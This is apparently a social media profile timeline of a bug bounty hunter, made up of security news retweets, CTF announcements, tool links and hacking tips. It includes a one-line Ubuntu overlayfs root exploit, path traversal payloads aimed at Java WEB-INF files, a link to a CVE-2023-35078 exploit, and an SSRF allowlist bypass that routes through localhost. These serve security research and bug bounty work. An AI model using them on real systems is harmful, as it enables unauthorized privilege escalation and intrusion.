Synack Red Team | Coder | Bug Bounty Hunter Interested in desktops, tabletops, all kinds of tops really.
Joined January 2020
- Tweets232
- Following578
- Followers577
- Likes406
Sysdum retweeted
WontFix can be an RCE Goldmine
SOAPwn by @chudyPB
#5 in PortSwigger Web Hacking Techniques of 2025
Microsoft’s refusal to patch HttpWebClientProtocol invalid casting makes any .NET app using ServiceDescriptionImporter permanently vulnerable to arbitrary file write via malicious WSDLs.
Blog link 👇
labs.watchtowr.com/soapwn-pw…
Sysdum retweeted
Critical strike: China's hacking training grounds (PART 1) substack.com/inbox/post/1793…
Sysdum retweeted
Using @Burp_Suite and a website playing a new trick on you?
This happens but no fear (most of the times)!
The screenshot here shows a Java TLS limit. Recent JDKs added jdk.tls.maxHandshakeMessageSize (default 32768 bytes)
Use "-Djdk.tls.maxHandshakeMessageSize=65536" to solve this. Add this to the end of the ".vmoptions" file if you have it installed.
#BurpSuite #BugBountyTip
If you think you've found a path traversal, instead of throwing /etc/passwd and similar paths, check if the app is java-based using Wappalyzer. I've scored a few bounties by trying the following:
?file=../WEB-INF/web.xml
?file=../META-INF/MANIFEST.MF
#bugbountytips #BugBounty
Sysdum retweeted
Finished in 1st place at the Red Team CTF @ #DEFCON 31. @RedTeamVillage_
Started off playing the event solo, but I was joined in the finals by my fellow teammates from Team Europe, @sijsu and @s3np41k1r1t0 to get the win.
Thank you ThreatSims and @hackthebox_eu for the event!
Sysdum retweeted
🚨 Attention 🚨
We’re asking everyone that was at the RTV CTF today in Cesar’s Forum to CHECK their swag bags. Unfortunately, someone walked away with one belonging to one of one of our volunteers. It is vital that we locate it as it contains his ID etc.
DM us if located! 🙏🏾
Sysdum retweeted
We've recently added jsluice by @bishopfox to our library, a great tool for uncovering URLs, paths, secrets and more from JavaScript with ease.
Have you used it before? Reply about your experience 🗣️
github.com/BishopFox/jsluice
Sysdum retweeted
GitHub - vchan-in/CVE-2023-35078-Exploit-POC: CVE-2023-35078 Remote Unauthenticated API Access Vulnerability Exploit POC - github.com/vchan-in/CVE-2023…
Sysdum retweeted
Exploit is so easy it fits in a tweet🔥
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'
We found two 0-day vulnerabilities in @Ubuntu kernel and it all started by reading descriptions of old CVEs 📖
Thread about the discovery of #GameOverlay 🧵👇🏼
Sysdum retweeted
🔴 Red Team Village presents another exclusive interview with our amazing sponsor, @buddobot with @Jhaddix, now available on YouTube! 🔴
📺 Watch the full interview here: youtu.be/ubVLiJ17Sd4
Web servers handing you a fake 200 during recon? Pipe the results to a file and use grep -v to pull out garbage responses. You can use | as an OR operator with egrep to filter out WAF/custom 404s.
#bugbountytips #bugbounty
Recently found an SSRF domain white list bypass. The app was looking for vulnerable[.]com in the request.
I made a CNAME on my domain pointing to localhost, allowing for internal service access.
vulnerable[.]com.mydomain[.]com --> 127.0.0.1
#bugbountytip #bugbounty